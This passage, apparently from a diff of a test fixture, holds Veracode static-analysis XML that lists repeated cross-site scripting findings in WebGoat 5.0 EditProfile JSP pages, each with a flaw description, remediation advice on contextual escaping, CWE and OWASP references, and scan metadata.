+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
